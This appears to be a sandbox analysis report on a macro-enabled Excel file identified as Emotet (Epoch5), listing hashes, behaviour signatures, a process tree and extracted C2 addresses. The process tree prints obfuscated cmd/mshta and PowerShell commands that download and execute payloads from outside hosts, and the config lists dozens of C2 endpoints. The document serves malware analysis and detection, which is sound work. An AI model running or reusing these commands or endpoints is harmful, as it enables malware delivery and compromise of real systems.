Analysis
-
max time kernel
153s -
max time network
156s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 02:10
Behavioral task
behavioral1
Sample
745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90.xlsm
Resource
win10-en-20211208
General
-
Target
745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90.xlsm
-
Size
115KB
-
MD5
f00afd4f894ae4e0536dd0950e125b59
-
SHA1
cb54baba37c881782c0ef9b7cb378b37dd998902
-
SHA256
745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90
-
SHA512
cd07dd00b0a1615a480555ed2f9bc7b075782d084e512cf484e7f66705d06bf8b2059c6397bbff0396df70a58b9f5c7eff5204bc97741bc8e5e6ec16b2a4b6f4
Malware Config
Extracted
http://0x5cff39c3/sec/se1.html
Extracted
http://92.255.57.195/sec/se1.png
Extracted
emotet
Epoch5
45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1240 2672 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 6 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 29 4060 mshta.exe 37 3920 powershell.exe 39 3920 powershell.exe 42 1412 rundll32.exe 43 1412 rundll32.exe 44 1412 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 2372 rundll32.exe 632 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Tsldxjaclxmldsm\czeoi.sqg rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3880 4060 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2672 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 3920 powershell.exe 3920 powershell.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3880 WerFault.exe 3920 powershell.exe 1412 rundll32.exe 1412 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 3920 powershell.exe Token: SeDebugPrivilege 3880 WerFault.exe -
Suspicious use of SetWindowsHookEx 22 IoCs
Processes:
EXCEL.EXEpid process 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE 2672 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 2672 wrote to memory of 960 2672 EXCEL.EXE splwow64.exe PID 2672 wrote to memory of 960 2672 EXCEL.EXE splwow64.exe PID 2672 wrote to memory of 1240 2672 EXCEL.EXE cmd.exe PID 2672 wrote to memory of 1240 2672 EXCEL.EXE cmd.exe PID 1240 wrote to memory of 4060 1240 cmd.exe mshta.exe PID 1240 wrote to memory of 4060 1240 cmd.exe mshta.exe PID 4060 wrote to memory of 3920 4060 mshta.exe powershell.exe PID 4060 wrote to memory of 3920 4060 mshta.exe powershell.exe PID 3920 wrote to memory of 2192 3920 powershell.exe cmd.exe PID 3920 wrote to memory of 2192 3920 powershell.exe cmd.exe PID 2192 wrote to memory of 2372 2192 cmd.exe rundll32.exe PID 2192 wrote to memory of 2372 2192 cmd.exe rundll32.exe PID 2192 wrote to memory of 2372 2192 cmd.exe rundll32.exe PID 2372 wrote to memory of 632 2372 rundll32.exe rundll32.exe PID 2372 wrote to memory of 632 2372 rundll32.exe rundll32.exe PID 2372 wrote to memory of 632 2372 rundll32.exe rundll32.exe PID 632 wrote to memory of 3496 632 rundll32.exe rundll32.exe PID 632 wrote to memory of 3496 632 rundll32.exe rundll32.exe PID 632 wrote to memory of 3496 632 rundll32.exe rundll32.exe PID 3496 wrote to memory of 1412 3496 rundll32.exe rundll32.exe PID 3496 wrote to memory of 1412 3496 rundll32.exe rundll32.exe PID 3496 wrote to memory of 1412 3496 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\745d54c9957257622f8009a18c4ecf6d99a2f407ed5dd0cb211649fbfe4d2b90.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:960
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1240 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se1.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:2192 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tsldxjaclxmldsm\czeoi.sqg",zCaWBVvrN8⤵
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tsldxjaclxmldsm\czeoi.sqg",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1412 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4060 -s 16644⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3880
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
aba34d4713318f41d80542af587fd288
SHA1539dad8b9c00bce051ecb2611640894ced299d6c
SHA25621c4238dac42a23d94e4aa45e91bb0c3be79bcb1a3894f3eed594d0b59888b55
SHA5125169d1cc750c9a30a9aa334d24b5defbf10822d76185919b2c0bc11e1fddb7b6d23deb15f7128457985f3cf56dccebba46d710a657fada1bd28858a3be285755
-
MD5
aba34d4713318f41d80542af587fd288
SHA1539dad8b9c00bce051ecb2611640894ced299d6c
SHA25621c4238dac42a23d94e4aa45e91bb0c3be79bcb1a3894f3eed594d0b59888b55
SHA5125169d1cc750c9a30a9aa334d24b5defbf10822d76185919b2c0bc11e1fddb7b6d23deb15f7128457985f3cf56dccebba46d710a657fada1bd28858a3be285755
-
MD5
aba34d4713318f41d80542af587fd288
SHA1539dad8b9c00bce051ecb2611640894ced299d6c
SHA25621c4238dac42a23d94e4aa45e91bb0c3be79bcb1a3894f3eed594d0b59888b55
SHA5125169d1cc750c9a30a9aa334d24b5defbf10822d76185919b2c0bc11e1fddb7b6d23deb15f7128457985f3cf56dccebba46d710a657fada1bd28858a3be285755